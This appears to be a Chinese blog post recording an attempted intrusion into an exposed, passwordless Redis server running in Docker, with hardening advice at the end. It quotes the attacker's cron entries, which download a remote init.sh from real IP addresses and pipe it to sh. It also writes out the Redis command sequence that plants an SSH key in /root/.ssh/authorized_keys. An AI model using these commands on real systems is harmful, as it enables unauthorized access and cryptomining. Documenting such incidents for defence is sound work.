Redis 也能被攻击?一次Redis被入侵的记录

通过 RDB 方式入侵,Redis 被攻击记录

1. 详情

发现 Redis 中突然多了几个 key

  • backup1
  • backup2
  • backup3
  • backup4

具体内容如下:

*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh

*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh


*/4 * * * * root curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh

*/5 * * * * root wd1 -q -O- http://45.133.203.192/cleanfda/init.sh | sh

看起来都是去下载sh脚本的。

然后看了下 Redis 日志,一直再报错:

 Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied

大概是RDB的时候,保存时因为没有权限报错了。

然后看了下RDB相关配置:

spider:0>config get dir
 1)  "dir"
 2)  "/etc"
spider:0>config get dbfilename
 1)  "dbfilename"
 2)  "crontab"

好家伙,果然被改了,给改成了/etc/crontab。这不就是定时任务吗

然后再结合上多出来的几个 key 的内容,妥妥的被攻击了。

这RDB如果执行成功了,然后定时任务就算是被添加了,最终把脚本下载下来并执行,妥妥的矿机一个了。

好在是这个 Redis 是用 docker 跑的,权限问题,没有被得手。

因为是测试服务器,随便用 Docker 起了一个,也没设置密码,端口和IP绑定也没改,就差点中招。

被入侵成功的案例:

https://www.codenong.com/txiaoxiaoher-2511379/

网上找了下,还有通过 设置主从同步 的方式被入侵的 redis 的案例:

https://www.renfei.net/posts/1003500

2. 后记

其实本次最大的漏洞是在 docker 运行绑定端口的时候,绑定是的 0.0.0.0:6379。正确的应该绑定 127.0.0.1:6379。

首先,docker 在绑定端口的时候直接修改了防火墙,如果不指定IP,那么默认是 0.0.0.0:6379,docker 设置防火墙开放 0.0.0.0:6379,任何 IP 都可以访问 6379。但你如果设置 127.0.0.1:6379,那只有本机地址能访问 6379。所以造成了端口向外暴露。docker 会接管防火墙!

防火墙相关文档 https://www.cnblogs.com/qjfoidnh/p/11567309.html

其次,因为原本设计的 redis 是内部使用,并不对外公开,也就没有密码,直接裸奔,也造成了端口暴露以后在全互联网裸奔的情况。

最后,redis 是可以将内容保存到本地磁盘中的,这就造成了通过 redis 间接可以写入文件,例如:

redis 执行以下命令,将 ssh key 写入被害机器,注意首尾要加换行符

set jjj "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABA....\n\n"
config set dir /root/.ssh
config set dbfilename authorized_keys
save

此时就将 ssh key 写入了 /root/.ssh/authorized_keys,就实现了免密登陆,黑客可以直接 ssh 进来了。同理还可以写入定时任务文件,让被害机器执行黑客的脚本。

解决方案

  • 1)docker 开放端口的时候一定要指定 IP 地址
  • 2)给 redis 增加密码验证

江湖凶险,即使是个测试服务器也不能掉以轻心

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值